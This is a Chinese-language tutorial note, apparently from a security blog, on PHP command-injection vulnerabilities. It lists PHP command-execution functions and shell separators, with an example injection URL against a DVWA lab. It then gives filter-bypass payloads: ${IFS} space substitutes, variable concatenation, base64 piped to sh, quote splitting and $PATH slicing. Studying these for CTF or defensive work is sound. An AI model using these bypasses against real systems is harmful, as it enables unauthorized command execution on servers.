介绍
命令执行:一句话就是没有对用户的提交的数据进行过滤,导致通过一些系统命令获取了一些信息。
PHP命令执行的参数
1.system:执行系统命令,会输出
例子:http://www.dvwa.com/cmd/test.php?cmd=||%20ipconfig
2.exec:exec函数不会将执行后的结果输出,与system功能一样
3.passthru:用于执行系统命令的,并且会将执行后的结果进行输出,主要运用于unix系统
4.shell_exec:用于执行shell命令并将执行的结果以字符串的形式返回,但是不会将结果进行输出。
5.popen:popen函数会将执行后的系统命令结果用一个文件指针的形式返回。
6.proc_popen
7.特殊符号--反引号“``”:也可以用来执行命令
命令执行的几种常用的符号
- |,管道符:前面语句的输出作为后面语句的输入
- &:不管前面的语句的对否,后面的语句都要执行
- ;:前面的语句和后面的语句依次执行
- ||:只有当前面的语句否,后面的语句才会执行
- &&:只有当前面的语句真,后面的语句才会执行
命令执行的基本绕过
1.*** 空格过滤***
1.${IFS} 替换
2.$IFS$1 替换
3.%20 替换
4.<和<> 替换
5.%09 替换
- 敏感字符过滤
- 利用变量拼接
$a=l;$b=s;$a$b
拼接起来就是:ls(用来展示文件目录的)
- 利用base64编码绕过
echo Y2F0IGZsYWcucGhw|base64 -d|sh
Y2F0IGZsYWcucGhw|base64是cat flag.php的base64的编码
- 利用单引号,双引号,反斜线,
1
,
1,
1,@等来绕过
1.ca"t fl''ag
2.ca\t fl\ag
3.c$1at gh$@twf01.txt
4.介绍一个内敛绕过cat `ls`:就是将所有的文件全部执行
- 利用Linux的环境变量
1. echo ${PATH} ///usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
2. echo ${PATH:1:9}//usr/local
3. ${PATH:5:1} //l
4. ${PATH:2:1} //s
5. ${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
6. ${PATH:5:1}s //拼接后是ls,执行命令
利用的就是对字符串的拼接与截断
参考文献
- https://songly.blog.csdn.net/article/details/108435956
- https://blog.csdn.net/JBlock/article/details/88311388(再看)
- http://blog.leanote.com/post/bowu/de8babf67fd8(再看)
|